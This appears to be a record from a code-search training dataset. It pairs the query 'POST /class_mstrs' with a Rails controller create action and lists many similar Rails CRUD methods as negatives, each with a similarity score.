"def servers_with_class(classname)\n hosts = []\n query = ['and', ['=', 'type', 'Class'], ['=', 'title', classname]]\n response = request('resources', query)\n response.each do |r|\n hostname = r['certname']\n hosts << hostname\n end\n\n hosts\nend",
"def fetch_classes_list\n uri = URI(BASE_URI + \"classes\")\n classes = make_request(uri)\n classes_instances = classes[\"results\"].map do |classes_data|\n Classes.new classes_data[\"name\"]\n end\n end",
"def show\n @stopword_list = StopwordList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stopword_list }\n end\n end",
"def show\n @minimessage = Minimessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @minimessage }\n end\n end",
"def show\n @classwork = Classwork.find(params[:id])\n \n drop_breadcrumb(@classwork.name, admin_classwork_path(@classwork))\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classwork }\n end\n end",
"def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sm }\n end\n end",
"def show\n @user_class = UserClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_class }\n end\n end",
"def new\n @cm = Cm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cm }\n end\n end",
"def show\n @lifestyle_subgenre = LifestyleSubgenre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lifestyle_subgenre }\n end\n end",
"def show\n @missionmaker = Missionmaker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @missionmaker }\n end\n end",
"def show\n @districtclass = Districtclass.find(params[:id])\n @districts = @districtclass.districts.all(:order => 'district_name')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @districtclass }\n end\n end",
"def index\n #@teammates = Teammate.all\n @teammates = Teammate.order('lastname')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teammates }\n end\n end",
"def referClass\n result = Hash.new\n result['status'] = true\n begin # try\n @lang = Helper.getLang\n @class = HomePage.referClass(params[:id].to_i)\n if @class != nil\n result['status'] = true\n result['html'] = render_to_string(partial: \"home/course_details\")\n else\n result['status'] = false\n end\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def show\n @microtask = Microtask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microtask }\n end\n end",
"def index\n @class_mappings = ClassMapping.all\n end",
"def new\n @clclass = Clclass.new\n @courses = Course.all\n @teachers = Teacher.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clclass }\n end\n end",
"def show\n #@my_ministry = MyMinistry.find(params[:id])\n @coworker = Coworker.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_ministry }\n end\n end",
"def index\n @discipline_class_exam_types = DisciplineClassExamType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_class_exam_types }\n end\n end"
] |
[
"0.6766376",
"0.6220849",
"0.6136893",
"0.57798994",
"0.5594178",
"0.5497495",
"0.5411029",
"0.53584445",
"0.53566587",
"0.5325192",
"0.5323454",
"0.5296612",
"0.52880615",
"0.5262098",
"0.5259857",
"0.5237473",
"0.520919",
"0.518276",
"0.5181694",
"0.5165975",
"0.51525146",
"0.5150087",
"0.5114336",
"0.5109594",
"0.50798756",
"0.50703686",
"0.5066305",
"0.50625706",
"0.5057478",
"0.5033211",
"0.50313276",
"0.50265706",
"0.5021516",
"0.5020095",
"0.49883467",
"0.49879298",
"0.498721",
"0.49815896",
"0.4974386",
"0.49726224",
"0.4968041",
"0.4943471",
"0.49429846",
"0.4932149",
"0.49301448",
"0.49248588",
"0.49248543",
"0.49148217",
"0.49129453",
"0.49105138",
"0.4908639",
"0.49049258",
"0.48952898",
"0.4874906",
"0.48684213",
"0.48670283",
"0.48667404",
"0.4861986",
"0.48602703",
"0.4858393",
"0.48568428",
"0.4856818",
"0.48505604",
"0.48395848",
"0.48375952",
"0.4834794",
"0.4827183",
"0.48264062",
"0.4824718",
"0.4822582",
"0.48162863",
"0.4816173",
"0.48141354",
"0.48101524",
"0.4807715",
"0.48038176",
"0.48018497",
"0.47997788",
"0.4794551",
"0.47935748",
"0.47925487",
"0.47921723",
"0.47897604",
"0.47888884",
"0.4785527",
"0.47846466",
"0.4782262",
"0.47808534",
"0.4780699",
"0.4779499",
"0.47782496",
"0.4778091",
"0.47780216",
"0.47769573",
"0.47758016",
"0.47658202",
"0.4763395",
"0.4761931",
"0.47589174",
"0.47567248"
] |
0.74215513
|
0
|
GET /class_mstrs/new GET /class_mstrs/new.json
|
def new
@class_mstr = ClassMstr.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @class_mstr }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @class_mstr = ClassMstr.new(params[:class_mstr])\n\n respond_to do |format|\n if @class_mstr.save\n format.html { redirect_to @class_mstr, notice: 'Class mstr was successfully created.' }\n format.json { render json: @class_mstr, status: :created, location: @class_mstr }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_mstr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @class_taken = ClassTaken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_taken }\n end\n end",
"def new\n @stringlist = Stringlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stringlist }\n end\n end",
"def new\n @class = Classe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class }\n end\n end",
"def new\n @classtable = Classtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classtable }\n end\n end",
"def new\n @mtype = Mtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mtype }\n end\n end",
"def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classified }\n end\n end",
"def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sm }\n end\n end",
"def new\n @myclass = Myclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myclass }\n end\n end",
"def new\n @cm = Cm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cm }\n end\n end",
"def new\n @classwork = Classwork.new\n \n drop_breadcrumb('新增')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classwork }\n end\n end",
"def create\n @new_ = New.new(new__params)\n\n respond_to do |format|\n if @new_.save\n format.html { redirect_to @new_, notice: \"New was successfully created.\" }\n format.json { render :show, status: :created, location: @new_ }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @new_.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @test_class = TestClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_class }\n end\n end",
"def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end",
"def new\n @classroom = classroom.new\n\n render json: @classroom\n end",
"def new\n @mrj = Mrj.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mrj }\n end\n end",
"def new\n @iclass = Iclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @iclass }\n end\n end",
"def new\n @class_room = ClassRoom.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_room }\n end\n end",
"def new\n @item_class = ItemClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_class }\n end\n end",
"def new\n @m_etc = MEtc.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @m_etc }\n end\n end",
"def new\n @class = Class.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @class }\n end\n end",
"def new\n @classroom = Classroom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classroom }\n end\n end",
"def new\n @text = this_class.new\n return forbidden if not authorized? :new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text }\n end\n end",
"def new\n @mistake = Mistake.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mistake }\n end\n end",
"def new\n @classe = Classe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classe }\n end\n end",
"def new\n @schoolclass = Schoolclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schoolclass }\n end\n end",
"def new \n end",
"def new\n\t\t\"let's make something new.\"\n\tend",
"def new\n @clazz = Clazz.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @clazz }\n format.js\n end\n end",
"def new\n @quest = Quest.new\n\t@categories = find_all_categories\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end",
"def new\n @mill = Mill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mill }\n end\n end",
"def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_class }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\r\n end",
"def new\r\n end",
"def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"def new\n @mattress = Mattress.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mattress }\n end\n end",
"def new\n @entity = @klass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n end",
"def new\n end",
"def new\n end",
"def new\n end",
"def new\n end",
"def new\n end",
"def new\n end",
"def new\n end",
"def new\n @mi = Mi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mi }\n end\n end",
"def new\n @topic = Topic.new\n @page_title = \"New Topic\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new \n end",
"def new \n end",
"def new\n @mfile = Mfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mfile }\n end\n end",
"def new\n @slam = Slam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slam }\n end\n end",
"def new\n\t\t\n\tend",
"def new\n\t\t\n\tend",
"def new\n @clclass = Clclass.new\n @courses = Course.all\n @teachers = Teacher.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clclass }\n end\n end",
"def new\n @momsg = Momsg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @momsg }\n end\n end",
"def new\n @pattern = Pattern.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pattern }\n end\n end",
"def new\n @klass = Klass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @klass }\n end\n end",
"def new\n @missionmaker = Missionmaker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @missionmaker }\n end\n end",
"def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @school_class }\n end\n end",
"def new\n @mib = Mib.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mib }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @clasp = Clasp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clasp }\n end\n end",
"def create\n @clclass = Clclass.new(params[:clclass])\n\n respond_to do |format|\n if @clclass.save\n format.html { redirect_to @clclass, notice: 'Clclass was successfully created.' }\n format.json { render json: @clclass, status: :created, location: @clclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def new\n @nlp = Nlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nlp }\n end\n end",
"def new\r\n \r\n end",
"def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end",
"def new\n @nvs_mig_status = NvsMigStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nvs_mig_status }\n end\n end",
"def new\nend",
"def new\nend",
"def new\n @quest_tree = QuestTree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest_tree }\n end\n end",
"def new\n @mlp = Mlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mlp }\n end\n end",
"def new\n @route = Route.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n\n end",
"def new\n\n end",
"def new\n end",
"def create\n @classs = Classs.new(classs_params)\n\n respond_to do |format|\n if @classs.save\n format.html { redirect_to @classs, notice: 'Classs was successfully created.' }\n format.json { render :show, status: :created, location: @classs }\n else\n format.html { render :new }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new \n end",
"def new\n\n\n\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end",
"def new\n @tasktype = Tasktype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tasktype }\n end\n end",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def new\n @routing = Routing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routing }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @mispronunciation = Mispronunciation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @mispronunciation }\n end\n end",
"def new\n @new_comm = NewComm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_comm }\n end\n end",
"def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end",
"def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end",
"def new\n @gid2name = Gid2name.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gid2name }\n end\n end",
"def new\n @my_ministry = MyMinistry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_ministry }\n end\n end",
"def new\n end",
"def new\n end"
] |
[
"0.73339677",
"0.6836156",
"0.6742399",
"0.6738194",
"0.6734112",
"0.66999346",
"0.66479534",
"0.6599336",
"0.65674067",
"0.6533665",
"0.64841795",
"0.6473684",
"0.6430053",
"0.64299434",
"0.64298135",
"0.64269",
"0.64241457",
"0.64189464",
"0.6397075",
"0.63805115",
"0.6378154",
"0.63541687",
"0.63392895",
"0.6336136",
"0.63195956",
"0.6316884",
"0.6306756",
"0.6284635",
"0.627596",
"0.62737256",
"0.6266477",
"0.6262469",
"0.6262256",
"0.6258189",
"0.6258189",
"0.62526953",
"0.6252324",
"0.6249197",
"0.6248119",
"0.6248119",
"0.6248119",
"0.6248119",
"0.6248119",
"0.6248119",
"0.6248119",
"0.6248119",
"0.62469506",
"0.624582",
"0.6240719",
"0.6240719",
"0.6239728",
"0.6237431",
"0.62369204",
"0.62369204",
"0.6236519",
"0.62328154",
"0.622794",
"0.62265974",
"0.62254304",
"0.6210579",
"0.6206092",
"0.6204703",
"0.62028366",
"0.62028366",
"0.62028366",
"0.62028366",
"0.62028366",
"0.6194839",
"0.61942863",
"0.6181254",
"0.61774236",
"0.61720425",
"0.6168075",
"0.61668617",
"0.6164026",
"0.61553806",
"0.61553806",
"0.61498755",
"0.61452395",
"0.6134359",
"0.61299",
"0.61299",
"0.61297077",
"0.6129699",
"0.61280775",
"0.61277074",
"0.61274123",
"0.61171997",
"0.6104547",
"0.61034447",
"0.61034447",
"0.61034447",
"0.6100283",
"0.6099591",
"0.6099097",
"0.60936975",
"0.6089303",
"0.6084728",
"0.6082605",
"0.6082605"
] |
0.8153798
|
0
|
POST /class_mstrs POST /class_mstrs.json
|
def create
@class_mstr = ClassMstr.new(params[:class_mstr])
respond_to do |format|
if @class_mstr.save
format.html { redirect_to @class_mstr, notice: 'Class mstr was successfully created.' }
format.json { render json: @class_mstr, status: :created, location: @class_mstr }
else
format.html { render action: "new" }
format.json { render json: @class_mstr.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @class_mstr = ClassMstr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_mstr }\n end\n end",
"def update\n @class_mstr = ClassMstr.find(params[:id])\n\n respond_to do |format|\n if @class_mstr.update_attributes(params[:class_mstr])\n format.html { redirect_to @class_mstr, notice: 'Class mstr was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class_mstr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @class_mstr = ClassMstr.find(params[:id])\n @class_mstr.destroy\n\n respond_to do |format|\n format.html { redirect_to class_mstrs_url }\n format.json { head :no_content }\n end\n end",
"def create\n @classs = Classs.new(classs_params)\n\n respond_to do |format|\n if @classs.save\n format.html { redirect_to @classs, notice: 'Classs was successfully created.' }\n format.json { render :show, status: :created, location: @classs }\n else\n format.html { render :new }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @s_class = SClass.new(s_class_params)\n\n respond_to do |format|\n if @s_class.save\n format.html { redirect_to @s_class, notice: 'S class was successfully created.' }\n format.json { render :show, status: :created, location: @s_class }\n else\n format.html { render :new }\n format.json { render json: @s_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @class_mstr = ClassMstr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_mstr }\n end\n end",
"def create\n @classname = Classname.new(classname_params)\n\n respond_to do |format|\n if @classname.save\n format.html { redirect_to @classname, notice: 'Classname was successfully created.' }\n format.json { render :show, status: :created, location: @classname }\n else\n format.html { render :new }\n format.json { render json: @classname.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n s_id = Allotment.where(user_id: current_user.id).pluck(:school_id).first\n standard_id = Standard.where(name: params[:class_mapping][:standard]).pluck(:id).first\n section_id = Section.where(name: params[:class_mapping][:section]).pluck(:id).first\n @classes = ClassMapping.new({:section_id => section_id, :standard_id => standard_id, :school_id => s_id})\n @saved_class = { id:@classes.id, standard: params[:class_mapping][:standard], section: params[:class_mapping][:section], school: s_id}\n if @classes.save\n render :json => @saved_class\n end\n end",
"def create\n @myclass = Myclass.new(params[:myclass])\n\n respond_to do |format|\n if @myclass.save\n format.html { redirect_to @myclass, notice: 'Myclass was successfully created.' }\n format.json { render json: @myclass, status: :created, location: @myclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @myclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dstrbtr_m = DstrbtrM.new(dstrbtr_m_params)\n\n respond_to do |format|\n if @dstrbtr_m.save\n format.html { redirect_to @dstrbtr_m, notice: 'Dstrbtr m was successfully created.' }\n format.json { render :show, status: :created, location: @dstrbtr_m }\n else\n format.html { render :new }\n format.json { render json: @dstrbtr_m.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_model\n\t\tclasses = CartesianClassifier.get_classes(Sample.find_all_by_classname(params[:classnames].split(',')))\n\t\tclassmodel = ClassModel.new({\n\t\t\t:classnames => params[:classnames], # split and join again for validation?\n\t\t\t:modelstring => ActiveSupport::JSON.encode(classes),\n\t\t\t:author => params[:author],\n\t\t\t:notes => params[:notes]\n\t\t})\n\t\tclassmodel.save\n\t\tredirect_to \"/\"\n end",
"def create\n @mtype = Mtype.new(params[:mtype])\n\n respond_to do |format|\n if @mtype.save\n format.html { redirect_to @mtype, notice: 'Mtype was successfully created.' }\n format.json { render json: @mtype, status: :created, location: @mtype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clclass = Clclass.new(params[:clclass])\n\n respond_to do |format|\n if @clclass.save\n format.html { redirect_to @clclass, notice: 'Clclass was successfully created.' }\n format.json { render json: @clclass, status: :created, location: @clclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wordclass = Wordclass.new(wordclass_params)\n\n respond_to do |format|\n if @wordclass.save\n format.html { redirect_to @wordclass, notice: 'Wordclass was successfully created.' }\n format.json { render :show, status: :created, location: @wordclass }\n else\n format.html { render :new }\n format.json { render json: @wordclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_class = TestClass.new(params[:test_class])\n\n respond_to do |format|\n if @test_class.save\n format.html { redirect_to @test_class, notice: 'Test class was successfully created.' }\n format.json { render json: @test_class, status: :created, location: @test_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mrj = Mrj.new(params[:mrj])\n\n respond_to do |format|\n if @mrj.save\n format.html { redirect_to @mrj, notice: 'Mrj was successfully created.' }\n format.json { render json: @mrj, status: :created, location: @mrj }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mrj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mscore_classification = MscoreClassification.new(mscore_classification_params)\n\n if @mscore_classification.save\n flash[:success] = 'Mscore classification was successfully created.'\n redirect_to :back\n else\n flash[:danger] = 'Mscore classification was not created.'\n redirect_to :back\n end\n end",
"def create\n @mcluster = Mcluster.new(mcluster_params)\n\n respond_to do |format|\n if @mcluster.save\n format.html { redirect_to @mcluster, notice: 'Mcluster was successfully created.' }\n format.json { render :show, status: :created, location: @mcluster }\n else\n format.html { render :new }\n format.json { render json: @mcluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gymclass = Gymclass.new(gymclass_params)\n\n respond_to do |format|\n if @gymclass.save\n format.html { redirect_to @gymclass, notice: 'Gymclass was successfully created.' }\n format.json { render :show, status: :created, location: @gymclass }\n else\n format.html { render :new }\n format.json { render json: @gymclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_taken = ClassTaken.new(params[:class_taken])\n\n respond_to do |format|\n if @class_taken.save\n format.html { redirect_to @class_taken, notice: 'Class taken was successfully created.' }\n format.json { render json: @class_taken, status: :created, location: @class_taken }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_taken.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @short_message = ShortMessage.new(short_message_params)\n\n client = GlobeLabs.new\n target = @short_message.target\n if target.present?\n resp = client.send_sms(@short_message)\n Rails.logger.info(\"=== savon client resp: #{resp.inspect}\")\n end\n\n recepients = params[:recepients]\n Rails.logger.info(\"==== params:#{params.inspect}\")\n if recepients.present?\n Rails.logger.info(\"==== params:#{params[:recepients].inspect}\")\n recepients.each do |cell_no|\n @short_message = ShortMessage.new(short_message_params)\n @short_message.target = cell_no\n if @short_message.save\n resp = client.send_sms(@short_message)\n Rails.logger.info(\"=== savon client resp: #{resp.inspect}\")\n end\n end\n end\n\n respond_to do |format|\n if @short_message.save\n format.html { redirect_to short_messages_path, notice: 'Short message was successfully created.' }\n format.json { render action: 'show', status: :created, location: @short_message }\n else\n format.html { render action: 'new' }\n format.json { render json: @short_message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @m_test_type = MTestType.new(m_test_type_params)\n\n respond_to do |format|\n if @m_test_type.save\n format.html { redirect_to @m_test_type, notice: 'M test type was successfully created.' }\n format.json { render :show, status: :created, location: @m_test_type }\n else\n format.html { render :new }\n format.json { render json: @m_test_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def classname_params\n params.require(:classname).permit(:classname)\n end",
"def create\n @subject_class = SubjectClass.new(subject_class_params)\n\n respond_to do |format|\n if @subject_class.save\n format.html { redirect_to @subject_class, notice: 'Subject class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subject_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @subject_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_spell = ClassSpell.new(class_spell_params)\n\n respond_to do |format|\n if @class_spell.save\n format.html { redirect_to @class_spell, notice: 'Class spell was successfully created.' }\n format.json { render :show, status: :created, location: @class_spell }\n else\n format.html { render :new }\n format.json { render json: @class_spell.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @stringlist = Stringlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stringlist }\n end\n end",
"def create\n @student_class = StudentClass.new(student_class_params)\n\n respond_to do |format|\n if @student_class.save\n format.html { redirect_to @student_class, notice: \"Student class was successfully created.\" }\n format.json { render :show, status: :created, location: @student_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class = Classe.new(params[:class])\n\n respond_to do |format|\n if @class.save\n format.html { redirect_to @class, notice: 'Classe was successfully created.' }\n format.json { render json: @class, status: :created, location: @class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @climb_class = ClimbClass.new(climb_class_params)\n\n respond_to do |format|\n if @climb_class.save\n format.html { redirect_to @climb_class, notice: 'Climb class was successfully created.' }\n format.json { render :show, status: :created, location: @climb_class }\n else\n format.html { render :new }\n format.json { render json: @climb_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sob_class = SobClass.new(sob_class_params)\n\n respond_to do |format|\n if @sob_class.save\n format.html { redirect_to @sob_class, notice: 'Sob class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sob_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @sob_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service_class = ServiceClass.new(service_class_params)\n\n respond_to do |format|\n if @service_class.save\n format.html { redirect_to @service_class, notice: 'Service class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @service_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @service_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scam = Scam.new(scam_params)\n\n @scam.result = SCAM_CHECKER.classify scam_params.values.join(' ')\n # @scam.result = SCAM_CHECKER.classify_with_score scam_params.values.join(' ')\n\n respond_to do |format|\n if @scam.save\n format.html { redirect_to @scam, notice: 'Analysis complete' }\n format.json { render :show, status: :created, location: @scam }\n else\n format.html { render :new }\n format.json { render json: @scam.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @moresmalltrial = Moresmalltrial.new(params[:moresmalltrial])\n\n respond_to do |format|\n if @moresmalltrial.save\n format.html { redirect_to @moresmalltrial, notice: 'Moresmalltrial was successfully created.' }\n format.json { render json: @moresmalltrial, status: :created, location: @moresmalltrial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @moresmalltrial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gtw_smu = GtwSmu.new(gtw_smu_params)\n\n respond_to do |format|\n if @gtw_smu.save\n format.html { redirect_to @gtw_smu, notice: 'Gtw smu was successfully created.' }\n format.json { render :show, status: :created, location: @gtw_smu }\n else\n format.html { render :new }\n format.json { render json: @gtw_smu.errors, status: :unprocessable_entity }\n end\n end\n end",
"def teacher_updated_class_list_json\n params.require(:workspace_id)\n params.require(:school_id)\n params.require(:grade_level_next_year)\n params.require(:list_type_text)\n params.require(:json)\n params.require(:submitted)\n workspace_id = params[:workspace_id]\n school_id = params[:school_id].to_i\n grade_level_next_year = params[:grade_level_next_year]\n list_type_text = params[:list_type_text]\n json = params[:json]\n submitted = ActiveModel::Type::Boolean.new.cast(params[:submitted])\n\n # Check that they are authorized for grade level\n grade_level_now = GradeLevels.new.previous(grade_level_next_year)\n raise Exceptions::EducatorNotAuthorized unless queries.is_authorized_for_grade_level_now?(school_id, grade_level_now)\n\n # Check that they are authorized to write to this particular workspace (eg, not submitted yet).\n raise Exceptions::EducatorNotAuthorized unless queries.is_authorized_for_writes?(workspace_id)\n\n # Write a new record\n class_list = ClassList.create!({\n workspace_id: workspace_id,\n created_by_teacher_educator_id: current_educator.id,\n school_id: school_id,\n grade_level_next_year: grade_level_next_year,\n list_type_text: list_type_text,\n submitted: submitted,\n json: json # left opaque for UI to iterate\n })\n class_list_json = serialize_class_list(class_list)\n render json: {\n class_list: class_list_json\n }\n end",
